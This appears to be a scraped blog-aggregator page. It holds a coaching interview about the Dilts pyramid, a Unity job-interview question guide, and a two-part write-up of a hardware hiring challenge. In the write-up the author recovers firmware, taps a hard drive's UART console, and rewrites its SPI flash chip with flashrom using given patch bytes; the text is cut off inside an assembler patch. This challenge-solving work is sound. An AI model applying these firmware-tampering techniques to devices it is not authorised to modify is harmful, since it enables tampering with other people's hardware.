Русский
Русский
English
Статистика
Реклама

Работа

Я не знаю, чего хочу! Спросим как быть у CEO HR сервиса takeoffer.ru

01.04.2021 22:22:46 | Автор: admin
Что имею не хочу, что хочу не знаю знакомое состояние? Нередко бывает так, что мы чувствуем неудовлетворение от происходящего. Мы взяли интервью у CEO HR сервиса takeoffer.ru Анны Даллакян как можно определиться с целями в личной жизни и карьере, да и можно ли вообще?

Анна Даллакян, CEO takeoffer.ru:


Сегодня хочу рассказать про один из интересных и очень классных коучинговых инструментов. Речь пойдет о так называемой пирамиде логических уровней Роберта Дилтса, которая может помочь в решении практически любой проблемы, в которой нужно понять, что делать, когда не знаешь, чего хочешь и куда двигаться. Пирамида Роберта Дилтса может помочь проанализировать ситуацию на данный момент, понять причины прошлых ситуаций (почему я сделал такой выбор в прошлом), а также по ней можно пройтись для определения вектора развития в будущем. Скажу честно, это один из моих любимых инструментов!

Роберт Дилтс это психолог и автор книг в области нейролингвистического программирования, подхода к изучению развития личности через поведение, язык и неврологические процессы

image

Итак, Пирамида Дилтса состоит из 6 уровней: Окружение, Поведение, Способности, Ценности, Идентичность, Миссия. Разберем на практике, как это работает. За пример возьмем нестандартный, но реальный бытовой кейс, с которым столкнулась я лично: я не знаю, куда поехать в отпуск, который начинается в понедельник. Из просмотренных вариантов ничего не нравится, либо дорого, либо не подходит по срокам, все не то. Начинаем разбираться по пирамиде от основания вверх.

Окружение


Что я хочу, чтобы меня ОКРУЖАЛО? Я хочу, чтобы была вода, чтобы можно было плавать, еще хочу красивый роскошный отель с красивым видом, чтоб были теплые уютные халаты, хочу чтобы в отпуске со мной рядом была моя собака, хочу видеть красивых и отдохнувших людей вокруг.

Поведение


Что я хочу ДЕЛАТЬ в этом окружении? Хочу заниматься йогой каждый день, хочу плавать каждый день, хочу посещать косметические процедуры, хочу заниматься спортом, ходить в музеи современного искусства, ходить на рок-концерты, петь караоке, читать книжку, смотреть фильмы про Бонда, курить кальян, есть вкусную и полезную еду в ресторанах, знакомиться с новыми людьми, танцевать и веселиться до утра.

Способности


Что я реально МОГУ делать, имея это окружение и делая то, что я прописала в пункте 2? Поскольку недавно я сломала ногу и сейчас восстанавливаюсь, с танцами до утра, полноценной йогой и спортом и долгими пешими прогулками могут быть проблемы. Совершенно точно я сейчас НЕ МОГУ пойти в поход. Но я могу неплохо петь в караоке, могу знакомиться с людьми любой национальности, легко общаться с иностранцами, могу плавать, могу ходить на массажи и SPA-процедуры. Могу ходить в музеи, но очень дозировать время и отслеживать свое состояние.

Ценности


Почему для меня важно все то, что я описала выше? Потому что я хочу быть в ресурсе, хочу уделить внимание своему телу и себе, чтобы чувствовать себя отдохнувшей, чтобы не выгореть, чтобы ДЕЛАТЬ ТО, ЧТО Я ДЕЛАЮ С ЛЮБОВЬЮ, БЕЗ ВГОРАНИЯ И ПРОДОЛЖАТЬ ПОМОГАТЬ ЛЮДЯМ, ТК КОГДА Я НЕ В РЕСУРСЕ, Я НЕ МОГУ ПОМОГАТЬ ЛЮДЯМ КАЧЕСТВЕННО (В этом примере можно понять, что одной из моих ценностей является качество, а еще одной помощь людям). В карьерном вопросе тут можно докопаться до очень глубоких вещей, таких, например, как необходимость доверять окружению, необходимость постоянно соперничать и побеждать, необходимость приносить пользу, потребность в уважении и статусе и многое другое.

Идентичность


КТО Я, когда я нахожусь во всем перечисленном? В моем примере я счастливая, красивая, отдохнувшая, наполненная девушка, в хорошем настроении, обеспеченная, общительная, работоспособная, готовая двигаться дальше и добиваться своих целей. Это самый важный уровень, на котором можно задержаться подольше.

Миссия


ВО ИМЯ ЧЕГО И ДЛЯ ЧЕГО мне все перечисленное? Мне это для того, чтобы нести в мир хорошее настроение, для того, чтобы я могла продуктивно работать и менять жизни и карьеры своих клиентов к лучшему, чтобы я могла поднимать людей, а не опускать их. А дать что-то хорошее другим я могу только после того, как дала все, что хочу, себе. Иначе это постоянный синдром жертвы, а из состояния жертвы невозможно наполнить других.

Вот на таком бытовом и не совсем карьерном примере мы разобрали один из самых эффективных инструментов карьерного коучинга.

Кстати, пройдясь по Пирамиде Дилтса мне стало понятно, что и ехать мне никуда не нужно, так как все, что я хочу, я могу получить в родном Санкт-Петербурге.

Поделитесь в комментариях, использовали ли вы этот инструмент? Какие интересные инсайты вам открылись?
Подробнее..

Как проходить собеседования на Unity разработчика

21.04.2021 14:19:32 | Автор: admin

Вступление и личные наблюдения

Собеседование на юнити-разработчика состоит в основном из трёх частей. Процесс выглядит практически один в один как и на любую другую техническую специальность в IT. Сначала собеседование с HR или рекрутером, потом техническое интервью с Team Leader команды разработки. В конце, если предыдущие этапы успешно пройдены, вас ждет финальный босс - Project Manager(или Product Owner). Эта статья будет полезна для джунов и мидлов, а также людей которые недавно познакомились с Unity. Бородатые синьоры и лиды - буду рад увидеть от вас в комментариях ваш опыт.

Благодарности

Спасибо Никите и Денису за помощь в оформлении и составлении списка вопросов.

Первая часть - собеседование с рекрутером

Как правило занимает от 10 до 30 минут. На нём задача рекрутера дать предварительную оценку по кандидату. Обычно просят рассказать о себе.

Цель - проверить адекватность человека, совпадение по ключевым словам вакансии, а также проверить английский язык если это необходимо. Английский принято проверять беседой на вольную тему 5-10 минут(разговор о хобби, любимых играх, почему ушли из предыдущего места работы или моделирование общения с заказчиком).Важно понимать что наличие проверки английского языка сильно зависит от типа компании и позиции, на которую проходит отбор.

Из личного опыта пришел к тому что нужно научиться за 3 минуты коротко резюмировать свой опыт, выделить самое главное и уверенно презентовать себя другому человеку. Эта информация должна касаться только вашего пути разработчика. То, что вы умеете кататься на коньках, рисуете маслом или прыгаете с парашютом мало кого интересует на данном этапе. Предполагается, что вам будут платить деньги за выполнение задач, описанных в вакансии, поэтому максимально заинтересуйте рекрутера рассказывая только о релевантных для позиции навыках. Этого будет более чем достаточно. Вас спросят подробнее о ваших увлечениях и других вещах, если это будет необходимо.

Пример ответа на Расскажите о своем опыте.:

Разрабатываю игры со старшей школы как инди разработчик, участвовал в джемах и конкурсах. На первом курсе начал работать в гипер-казуальном стартапе. Разрабатывал проекты на Unity C# и Lens Studio JavaScript. Отвечал за полный цикл разработки и гейм дизайн, общался с заказчиком и т.д. Команда состояла из.... Потом принял решение расти как программист дальше, пошел работать в большую компанию для улучшения понимания процессов разработки и технических навыков. Там делал За время работы научился делать. На последнем месте работы делаю Удалось автоматизировать Предложил варианты решений для... Хочу сменить работу потому, что...

Часть вторая - техническое интервью

Вот мы и прошли скрининг. В целом, вроде бы не сумасшедший, какие-то слова из вашей речи рекрутер смог сопоставить с требованиями в вакансии, Лондон из зэ кэпитал оф Грейт Британ смогли из себя выдавить. Супер! Идём дальше!

А дальше - техническое собеседование. Важно отметить, что вопросы будут отличаться в зависимости от уровня разработчика. Для джуна необходимо определить способность к обучаемости и слышал ли он хотя бы о части технологий, применяемых в проекте. Рассматривая мидла обычно пытаются понять, насколько опыт человека соответствует позиции, чтобы поскорее начать приносить деньги бизнесу, желательно еще вчера. Когда собеседуют бородатого синьора, хотят видеть эксперта в области, который сможет руководить командой, общаться с заказчиком и вообще находить проблемы, которые нужно решать.

Интервью обычно делится на такие части:

  • Общие вопросы по разработке ПО (OOP, algorithms, DI, SOLID, etc.).

  • Вопросы по C# (boxing/unboxing, GC, async/await, reference types, etc.).

  • Unity и опыт в конкретном игровом жанре(match 3, slots, AAA, FPS, etc.) или направлении(mobile, PC, consoles, AR/VR, etc.).

Общие вопросы по разработке

  • Принципы ООП. Рассказать про каждый. Как это реализовано в языке C#?Как применяли на практике?

  • SOLID. В чем смысл каждого принципа и как применяли на практике?

  • Структуры данных. Какие структуры данных вы знаете? Для каких задач лучше использовать ту или иную.

  • В чем разница между array и List?

  • Что такое хеш-таблица? Что такое хеш-функция? Как обрабатываются коллизии в словарях?

  • Алгоритмы. Поиск пути в графе, сортировки коллекций, поиск элемента в коллекции. Какие подходы в обработке коллизий объектов в 2д и 3д знаете?

  • Сложность алгоритма. Big O notation.

  • Шаблоны проектирования. Архитектурные шаблоны(MVC, MVP, MVVM, компонентный подход, ECS). Шаблоны для решения типовых задач(GoF, GRASP, Game Programming Patterns).

  • Dependency Injection. Что это за подход разработки и умеете ли работать с Zenject?

  • Реактивность. Что это за подход разработки и умеете ли работать с UniRx?

  • Клиент-серверные приложения. В чем основные принципы разработки клиент-серверных игр? Какие типы вы знаете и разрабатывали?

  • CI/CD окружение. Для чего используется? Есть ли опыт работы с ним?

Вопросы по C#

  • Что такое .NET? Что такое CLR? Что такое IL?

  • Чем отличается динамическая типизация от статической?

  • Значимые и ссылочные типы. Спецификаторы аргументов функций ref, out.

  • Boxing и unboxing. Что это и почему это плохо?

  • Строки. Операции над строками, StringBuilder.

  • Что такое класс? Что такое структура? В чем отличие между структурой и классом?

  • Модификаторы доступа.

  • Что такое интерфейс? Какие члены можно описывать в интерфейсе?

  • Отличие интерфейса и абстрактного класса.

  • Upcasting, downcasting.

  • Обработка исключений. Блок try, catch, finally. Порядок выполнения.

  • Что такое делегат? Ковариантность, контрвариантность.

  • Что такое замыкание? Привести пример с замыканием.

  • Может ли структура реализовывать интерфейс?

  • Что такое атрибут? Для каких целей используются атрибуты?

  • Что такое рефлексия? Для решение каких задач приходилось использовать?

  • LINQ. Extension syntax, query syntax.

  • Как работает сборщик мусора? Что происходит с объектами которые имеют циклические зависимости?

  • Есть ли опыт написания авто-тестов и юнит-тестов?

Вопросы по Unity

  • Игровой движок. Что собой представляет и какие проблемы решает?

  • Корутины. Что это? Работают в одном потоке или в разных? Какой механизм C# используется для реализации корутин в юнити? Можно ли запустить рутину не из MonoBehaviour? Какие типы yield инструкций вы знаете? Когда они вызываются?

  • Что такое Game Object? Что такое сцена?

  • Что такое MonoBehaviour? От чего он наследуется? Можно ли создать тип наследуемый от Component?

  • Жизненный цикл MonoBehaviour.

  • Порядок вызова Event функций в runtime режиме Unity.

  • Физика. Какие компоненты позволяют работать с физикой. Что такое rigid body? Что такое рейкаст? Отличие от лайнкаста?

  • NavMesh. Поиск пути.

  • Опыт работы с UI компонентами? Что такое канвас? Что такое панель? Чем плох и хорош канвас? Как верстать адаптивный интерфейс? Что такое LayoutGroup?

  • Камера. Типы камер, параметры для настройки. Скай бокс, occlusion culling.

  • Что такое deltaTime и fixedDeltaTime? Отличия между ними.

  • Аниматор. Можно ли дописывать логику к состояниям аниматора? Что такое Timeline и опыт работы с ним?

  • Опыт написания кастомного редактора, окна для инструментов, расширения для ускорение и автоматизации рутинных задач.

  • Ассет бандлы и адрессаблы. Для чего используются и есть ли опыт разработки с их использованием?

  • Батчинг и Draw calls. Что это? Какие подходы оптимизации вызовов отрисовки вы знаете?

  • Что такое mesh? Из чего состоит 3д модель?

  • Опыт работы с шейдерами. Приходилось ли писать шейдеры?

  • Профайлинг. Какие инструменты для диагностики проблем производительности вы знаете(profiler, deep profiling, frame debugger, memory profiling, profiling on device)?

  • Unity Web Requests. Что это? Приходилось ли работать с клиент-серверным взаимодействием?

  • Есть ли опыт работы с нативным слоем? Android Studio, XCode.

  • Опыт интеграции SDK(реклама, аналитика, конфиги, БД, пуш уведомления).

  • Test Runner. Опыт работы с тестами в движке.

Конечно же это не полный список того что вас могут спросить на собеседовании. Хотелось показать в какую сторону смотреть и что спрашивают в большинстве случаев на технических интервью. Вас могут попросить решить задачу в реальном времени или написать программу. По моему опыту, очень важным моментом является двустороннее общение. Если на этапе с рекрутером кроме описания вакансии вряд ли вам дадут детальную информацию по будущему проекту, то на техническом собеседовании самое время задавать вопросы вам. Обязательно спросите про состав команды, уровень разработчиков, наличие код ревью. Спросите про организацию процессов, кто за что отвечает и как происходит валидация вашей работы. На какой проект вас рассматривают если вам еще не сказали окончательно. Так же вопросы с вашей стороны дадут понимание компании, что вы действительно заинтересованы в получении работы.

Часть третья - финальный босс

Когда по вам дали добро в плане технических навыков, вам предложат пройти последний этап. Это беседа с вашим будущим ПМом или продюсером(aka PO). Вас могут спросить, умеете ли вы эстимировать задачи. Есть ли у вас понимание как оценивать сложность задач. Не остаетесь ли вы один на один с проблемой, умеете ли вы просить помощь и в целом коммуницировать с другими членами команды. Задача вашего потенциального административного руководителя - определить уровень самостоятельности человека, насколько он подходит по типажу к людям в команде. Не пытайтесь врать или приукрашать ответы на вопросы. Это всегда видно, а вам с этим человеком потом вместе проходить сквозь спринты. Во-первых, если вы не умеете делать вещи выше - пришло время в этом начать разбираться. Во-вторых, честные ответы ценятся больше чем красивые истории.

Вопросы

  • Есть ли опыт провалившихся дедлайнов? Как справлялись с ситуацией?

  • Как решали задачи которые не могли решить самостоятельно?

  • Расскажите о самой сложной задаче.

  • Как вы оцениваете задачи по времени и сложности?

  • Есть ли опыт менторства? Как работали с джунами?

  • Приходилось ли работать в стрессовой обстановке перед релизом?

  • Как относитесь к овертаймам?

  • По какой методологии работали(agile, scrum, kanban)?

Подведение итогов

К счастью или к сожалению, прохождение собеседований - это отдельный навык, который по моему мнению, не имеет ничего общего в решении боевых задач. Он даст двум сторонам первое впечатление друг о друге, но не более. Для того, чтобы понять, насколько компания подходит вам, и вы подходите компании, существует испытательный срок. А это уже совсем другая история

Как и любой другой навык, прохождение собеседований нарабатывается, как не удивительно, прохождением собеседований! Главное - покажите на максимум те навыки, которыми уже обладаете. И помните, если вы провалили собеседование или получили отказ, это может значить две вещи: или вам нужно еще поучиться, или вы банально не подходите этой компании, этому проекту, этой вакансии Это IT, слышал, тут так бывает. Удачи на собеседовании!

Подробнее..

Ломаем зашифрованный диск для собеседования от RedBalloonSecurity. Part 0

26.03.2021 10:08:08 | Автор: admin

По мотивам

Темная сторона

В нашей жизни существуют моменты, когда все тихо. Все переменные соблюдены и выровнены, а существование давно не преподносит перемен: все люди, которые рядом уже давно стали друзьями, или близкими знакомыми. Со мной так и произошло, и я этому чертовски счастлив - это стоит невероятно дорого. Но осознание того, что наша жизнь конечна, порой заставляет задуматься "а что если?". Что если, все-таки, возможно выйти из привычного способа жизни и занять себя чем-то иным. Скажем так, прожить еще одну жизнь в рамках одной. Здесь и начинается наше приключение.

Контакт

Сидя в уютном офисе, меня посетила мысль пошерстить реддит (вот так вот просто - задумался о смысле жизни, и полез на реддит, с кем не бывает). Внезапно нашелся топик, на котором была уйма вакансий связанных с инфосеком, но все они требовали знаний стандартов, подходов к пентестингу, и прочей документо-связной лабуды. Но, одна из них мне приглянулась. Это была вакансия на security research интерна. Давая себе отчет, что я всего-навсего смотрел видосики в интернете о buffer-overflow'ах, меня посетила мысль, что на интерна я то уж точно сгожусь. Отправив простенькое рекомендательное письмо на публичный e-mail адрес компании, я получил ссылку на 2 картинки. На этих картинках был массив из 16-разрядых чисел. Собрав эти числа в hex-редакторе, я получил новый, уже не публичный e-mail адрес. Отправив еще одно письмо туда, ребята запросили мой адрес проживания. Светить свое место жительства с кем-то из интернета считается плохим тоном, но судьба распорядилась так, что в тот момент, место, где я жил было временным. Я, все-таки, решил рискнуть, и отправил ребятам страну, город и адрес. Через неделю со мной связался человек из UPS и сообщил, что для меня есть посылка.

Что в коробке?

Открыв заводской картон от UPS, меня ждала специальная коробка, которая защищала все, что внутри от статики и прочих наводок. Открыв ее я обнаружил кучу конфет, переходник SATA-USB3, распечатки инструкций и, самое главное, брендированный 3,5" HDD диск в зиплоке.

Инструкции

Тыц

Детально изучив документацию, я сложил у себя в голове следующую картину:

  1. Эта задачка является довольно таки успешным залогом того, что компания сильно обратит на тебя внимание

  2. По решению всех задач, откроются публичный и приватный ключи для биткоин кошелька с 0.1337 BTC

  3. Мало того, что нужно будет разобрать диск, так еще и кривизна рук должна быть соответственной, чтоб держать в руках паяльник

  4. Утилита для прошивки диска нестабильна. Нужно выждать минуту перед тем как его обесточивать после прошивки

  5. У меня есть 1 "звонок другу".

  6. В процессе загрузки диска участвуют 3 составляющие - главный IC, прошивка внутри Winbond Flash Chip, и данные на пластинах внутри жесткого диска

  7. У диска, помимо SATA power & SATA data, есть еще 4 pina

Содержимое

Подключив диск к своему Debian-неттопу, и глянув лог ядра я заметил, что диск разбит на 4 раздела. 1й был рабочим, и его можно было примаунтить, а вот 3 остальных имели смещенный адрес начала раздела. Таким образом ребята разбили челлендж на 4 уровня. Решая предыдущий, ты получаешь доступ к новому разделу, подсказкам и файлу прошивки, который и делает новый раздел доступным для монтирования.

root@ubuntu:~# dmesg...[ 4718.927084]  sdb: sdb1 sdb2 sdb3 sdb4[ 4718.927140] sdb: p2 start 20480000 is beyond EOD, truncated[ 4718.927140] sdb: p3 start 40960000 is beyond EOD, truncated[ 4718.927140] sdb: p4 start 81920000 is beyond EOD, truncated[ 4718.928123] sd 3:0:0:0: [sdb] Attached SCSI disk...

LEVEL0

Содержимое раздела:

root@ubuntu:/media/user/LEVEL0# file *level0_instructions.txt: UTF-8 Unicode textlevel1.md5:              ASCII textseaflashlin_rbs:         ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, stripped
root@ubuntu:/media/user/LEVEL0# cat level0_instructions.txtHeres where the challenge starts.1. Flash level_1.lod using the seaflash tool.2. Maybe a serial console to the drive would be useful?
root@ubuntu:/media/user/LEVEL0# cat level1.md5 cbf06ad97efb847d040d178ae953715c  ../2020-10-13-lods//1//level_1.lod

В общем, меня ждала контрольная сумма для файла прошивки от первого уровня, утилита для прошивки, и инструкция что делать. Утилита прошивки имеет окончание rbs - это значит, ребята ее пропатчили чтоб она могла прошивать диск измененной прошивкой. Предварительно проверив ее на virustotal.com я пришел в замешательство. Файла прошивки нету!

Одна из инструкций говорила о поврежденных файлах. Файловая система на диске оказалась FAT32. Я нашел программу testdisk, один из функционалов которой включает в себя поиск поврежденных данных. Направив ее на /dev/sdb1, файл прошивки нашелся.

TestDisk 7.0, Data Recovery Utility, April 2015Christophe GRENIER <grenier@cgsecurity.org>http://www.cgsecurity.org   P FAT32                    0   0  1  1337  63 31    2740223 [LEVEL0]Directory />-rwxr-xr-x     0     0       139 21-Oct-2020 00:35 level0_instructions.txt -rwxr-xr-x     0     0    104280 21-Oct-2020 00:35 seaflashlin_rbs -rwxr-xr-x     0     0   1014784 21-Oct-2020 00:42 level_1_makesureitsnotcorrupted.lod -rwxr-xr-x     0     0   1014784 21-Oct-2020 00:42 level_1_thankyoumd5.lod -rwxr-xr-x     0     0        69 21-Oct-2020 00:42 level1.md5

Сверив контрольную сумму level_1_makesureitsnotcorrupted.lod с содержимым level1.md5 я понял, что это оно. Восстановив файл, я подготовился прошивать диск. При включении подобного рода дисков, ядро не только делает доступным блочное устройство, но и создает устройство SCSI. Наша утилита seaflashlin_rbs видит это устройство как /dev/sg1. Предварительно скопировав утилиту и файл прошивки куда-то за пределы диска я начал переход на следующий уровень.

root@ubuntu:/home/user/Desktop# ./seaflashlin_rbs -i================================================================================ Seagate Firmware Download Utility v0.4.6 Build Date: Oct 26 2015 Copyright (c) 2014 Seagate Technology LLC, All Rights Reserved Tue Mar 23 20:49:37 2021================================================================================ATA       /dev/sg0 MN: APPLE SSD SM0256F       SN: S1K4NYBF685537       FW: JA1QST325031  /dev/sg1 MN: 2AS                     SN: 2F6112500220         FW: 0   StoreJet  /dev/sg2 MN: Transcend               SN: C3C3P79A1HXW         FW: 0   APPLE     /dev/sg3 MN: SD Card Reader          SN: 00000000             FW: 3.00
root@ubuntu:/home/user/Desktop# ./seaflashlin_rbs -f level_1_makesureitsnotcorrupted.lod -d /dev/sg1 ================================================================================ Seagate Firmware Download Utility v0.4.6 Build Date: Oct 26 2015 Copyright (c) 2014 Seagate Technology LLC, All Rights Reserved Tue Mar 23 19:25:42 2021================================================================================Flashing microcode file level_1_makesureitsnotcorrupted.lod to /dev/sg1 .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  :  !Microcode Download to /dev/sg1 SUCCESSFUL

Диск прекратил свое вращение, и буквально через 10 секунд включился снова. Выждав минуту, я его обесточил, и подал питание снова. При подключении ядро перестало опознавать диск! В логах я видел лишь записи по поводу USB-to-SATA переходника, но ни блочного, ни SCSI устройства не было. Я был полностью отрезан от устройства.

LEVEL1

Для выхода из сложившейся ситуации существовал лишь 1 вариант - разобратся с тем, что это за 4 pina, фотка которых есть в подсказках. Подобное нагуглить легко. И вуаля, GND, TX, RX.

На неттопе не оказалось UART интерфейса (нафиг там не нужен). Но, ситуация сложилась так, что у меня под рукой была Raspberry Pi 3b+. Поискав описание GPIO пинов, я все таки нашел на нем порты для UART.

Итого, нам необходимо сконтачить:
RPI TX (pin #10) -> HDD RX
RPI RX (pin #08) -> HDD TX
RPI GND (pin #06) -> HDD GND

Подключение к серийнику диска

Я использовал обыкновенные Female-Female провода. То, что нужно было воткнуть в диск я успешно заизолировал скотчем. Последний не изолировал поскольку в этом не было необходимости, да и находился он уж слишком близко к порту SATA data, и когда я подключал питание к диску, всетаки приходилось немного его ужимать.

Стоит упомянуть, что UART интерфейс должен быть включен, но возможность логинится через него должна быть отключена. Иначе, в консольник диска посыпятся данные от Login Prompt Raspbian. Для отключения, делаем следующее:
1. Запускаем raspi-config
2. Выбираем Interface Options
3. Выбираем Serial Port
4. Отвечаем "нет" на Would you like a login shell to be accessible over serial?
5. Отвечаем "да" на Would you like the serial port hardware to be enabled?
6. Перезагружаем Raspberry Pi

Далее, нам понадобится minicom для работы с Serial портом. Методом подбора, мне удалось выяснить скорость, парность и прочие параметры для серийника (хотя, их можно было и найти в интернете). Подключаемся к Serial порту:

root@rpi ~ # minicom -b 38400 -D /dev/ttyS0

И здесь я увидел тонны сообщений о том, что мне необходимо что-то пропатчить.

Welcome to minicom 2.7.1OPTIONS: I18n Compiled on Aug 13 2017, 15:25:34.Port /dev/ttyS0, 21:05:41Press CTRL-A Z for help on special keysRBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!CTRL-A Z for help | 38400 8N1 | NOR | Minicom 2.7.1 | VT102 | Offline | ttyS0                                        

Здесь ко мне дошло, что решение этой задачи очевидно хардварное. В подсказках была последняя страничка, на которой было видно 5 контактов. Сняв плату с диска я посмотрел на эти контакты и обратил внимание на то, куда они ведут. Все они шли на Winbond W25X40BLS02. Найдя datasheet по этому чипу, у меня получилось определить какая ножка чипа за что отвечает.

Решение для задачи нашлось супер быстро. Прогнав strings по level_1_makesureitsnotcorrupted.lod, я нашел информацию что и как патчить. ASCII единорога заценил.

        O$HQ9H)\%6QM[h+r4m:4i,XJCPRS        \.                                                              \\      .                                                       \\ _,.+;)_                                                     .\\;~%:88%%.                                                  (( a   `)9,8;%.                                                /`   _) ' `9%%%?                                              (' .-' j    '8%%'                                               `"+   |    .88%)+._____..,,_   ,+%$%.                                :.   d%9`             `-%*'"'~%$.                           ___(   (%C                 `.   68%%9                        ."        \7                  ;  C8%%)`                        : ."-.__,'.____________..,`   L.  \86' ,                       : L    : :            `  .'\.   '.  %$9%)                      ;  -.  : |             \  \  "-._ `. `~"                        `. !  : |              )  >     ". ?                             `'  : |            .' .'       : |                                 ; !          .' .'         : |                                ,' ;         ' .'           ; (                               .  (         j  (            `  \                              """'          ""'             `"" mh  Congratulations! To solve this challenge patch those values: Address: 0x00c, data:0b1b Address: 0xbce, data:002149f249f800219fa049f245f89e48         @<H|XY?W??kFK?B?>y1Ykb!=l.y^ZV:VKwF

Тем временем, я нашел уйму информации о том как эти чипы считывать и записывать. К моему счастью, на Raspberry Pi нашелся SPI интерфейс для работы с flash чипами. К сожалению, под рукой не имелось Male-Female проводов, но имея Male-Male и Female-Female можно смело добится желаемого. На фото с бумажкой под Raspberry Pi, слева вверху видно плюс минус схематическое расположение контактов flash чипа, а также их цвета дабы не запутаться. Единственным моментом, который меня оочень смущал, был размер отверствий. Я подобное никогда не припаивал, и, дабы не сломать ничего, мне пришлось обрезать 1 конец Male-Male провода, отогнуть 4 из 8 жил (больше в отверствие банально не пролезет), и отогнуть их немного с другого конца. Таким образом мы получили невероятно нестабильное соединение с платой. Но и вероятность что-то сломать в таком случае крайне мала. Как видите, GND шнур не подсоединен никуда. Это из-за того, что плата мне не знакома, и я не стал рисковать контачить его туда, где я думаю есть заземление. Этот контакт я подсоединил пальцами напрямую к Winbond чипу - этого хватит на время считывания и заливки прошивки.

Прошивка чипа

Сам по себе процесс прошивки делается через flashrom c указанием девайса SPI, скорости, и файлов куда\от-куда. Из-за нестабильного соединения, Raspberry Pi иногда не видела чип. А даже когда и видела, мне приходилось считывать дважды дабы не было ошибок. Проверка контрольной суммы в таком случае обязательна!

Flashrom прошивка

Детально описывать процесс изменения прошивки не буду. Скажу лишь, что нам надо открыть файл прошивки (ff или ff2 :D) hex-редактором, изменить там несколько байт в соответствии с решением из level_1_makesureitsnotcorrupted.lod, и залить обратно с помощью того же flashrom.

После проделанных изменений, я прикрутил плату обратно к диску, подключил его, и меня ждал открытый раздел LEVEL2.

Друзья, если вам интересен подобный материал, ставьте плюсики. Весь процесс, так или иначе, в один пост не поместится.

Подробнее..

Ломаем зашифрованный диск для собеседования от RedBalloonSecurity. Part 1

29.03.2021 00:13:50 | Автор: admin

А что дальше?

Хабровчане и хабровчушки, эта статья является долгожданным (ага, в пару дней) продолжением моей предыдущей статьи о взломе жесткого диска для собеседования в инфосек компанию RedBalloonSecurity. Любителей поковырять железяки я спешу разочаровать, поскольку все дальнейшие манипуляции с диском будут проводится только на уровне ассемблерного кода и логики. Поэтому, приготовьте чай/кофе или чего покрепче, ведь мы снова лезем в embeded дебри и опять пускаемся в неизвестность.

LEVEL2

Моему счастью не было предела когда я залил пропатченую прошивку на Winbond Flash чип и ядро моего Debian-неттопа распознало еще 1 раздел диска. Здесь будет немного больше информации, чем в предыдущем разделе. Ведь повышая уровень, сложность нашей с вами задачи только увеличивается.

Содержимое раздела:

tkchk@ubuntu:/media/user/LEVEL2$ file *0001-keystone-armv5.patch: unified diff output, ASCII textlevel_2.html:              HTML document, ASCII text, with very long lineslevel2_instructions.txt:   ASCII textlevel_2.lod:               datalevel_3.lod.7z.encrypted:  7-zip archive data, version 0.3
  1. level_2.lod - это новый файл прошивки для диска. Прошиваемся так же, как и в предыдущей статье. Здесь ничего нового.

  2. level_3.lod.7z.encrypted - это файл прошивки для следующего уровня. Судя по его разрешению, файл находится в запароленном 7z архиве. Нам нужно решить текущий уровень чтоб достать пароль от слудующего.

  3. level2_instructions.txt - это, собственно, инструкции что и как делать. Подсказки тоже имеются.

  4. 0001-leystone-armv5.patch - это патч для Keystone Assembler. Keystone это компилятор и набор С-шных библиотек для перевода ассемблерного кода в опкоды для процессора. Об этом чуть позже.

  5. level_2.html - изюминка текущего уровня. Выглядит точ-в-точ как текст, который генерирует IDA Pro при загрузке бинарника.

Для тех, кто не в курсе, IDA Pro это программа для дизассемблирования. Дело в том, что когда мы пишем код на высокоуровневых языках (C, Python и тд) и подвергаем его компиляции, мы переводим наш +- human-readable текст в язык машинного кода. Тоесть, мы опускаем более понятную человеку логику в логику, которая больше понятна машине. Машина не понимает что такое функция, ведь функция, это скорее абстракция в голове у программиста. Процесс дизассемблирования позволяет сделать наоборот - поднять логику из машинного на человекопонятный уровень. Некоторые дизассемблеры позволяют поднять логику даже на C-шный уровень, хоть и не всегда делают это корректно (на самом деле очень даже корректно, но читать такой код порой бывает сложнее чем ассемблер). Если работаем с чем-то мелким, и надо кабанчиком понять что там происходит - этого хватит, но для более высокоточных вещей нужен уровень ассемблера. Это мы и получили в виде level_2.html файла.

tkchk@ubuntu:/media/user/LEVEL2$ cat level2_instructions.txt Congratulations... you have made it to the other sideBack when I was an intern, I designed this key generation function. My boss hated it.I hate my boss.1. Invoke the function with command R<User_Input>2. Find the key you must!!!!!level2.html provides disassembly of a memory snapshot of the key generator function.To help... guide... you in this adventure, you'll find a patchfile for the keystoneassembler to force the correct architecture.Also, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASCII
0001-keystone-armv5.patch
tkchk@ubuntu-mac:/media/tkchk/LEVEL2$ cat 0001-keystone-armv5.patch From 5532e7ccbc6c794545530eb725bed548cbc1ac3e Mon Sep 17 00:00:00 2001From: mysteriousmysteries <mysteriousmysteries@redballoonsecurity.com>Date: Wed, 15 Feb 2017 09:23:31 -0800Subject: [PATCH] armv5 support--- llvm/keystone/ks.cpp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)diff --git a/llvm/keystone/ks.cpp b/llvm/keystone/ks.cppindex d1819f0..8c66f19 100644--- a/llvm/keystone/ks.cpp+++ b/llvm/keystone/ks.cpp@@ -250,7 +250,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)      if (arch < KS_ARCH_MAX) {         ks = new (std::nothrow) ks_struct(arch, mode, KS_ERR_OK, KS_OPT_SYNTAX_INTEL);-        +         if (!ks) {             // memory insufficient             return KS_ERR_NOMEM;@@ -294,7 +294,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)                         TripleName = "armv7";                         break;                     case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:-                        TripleName = "thumbv7";+                        TripleName = "armv5te";                         break;                 } @@ -566,7 +566,7 @@ int ks_asm(ks_engine *ks,     Streamer = ks->TheTarget->createMCObjectStreamer(             Triple(ks->TripleName), Ctx, *ks->MAB, OS, CE, *ks->STI, ks->MCOptions.MCRelaxAll,             /*DWARFMustBeAtTheEnd*/ false);-   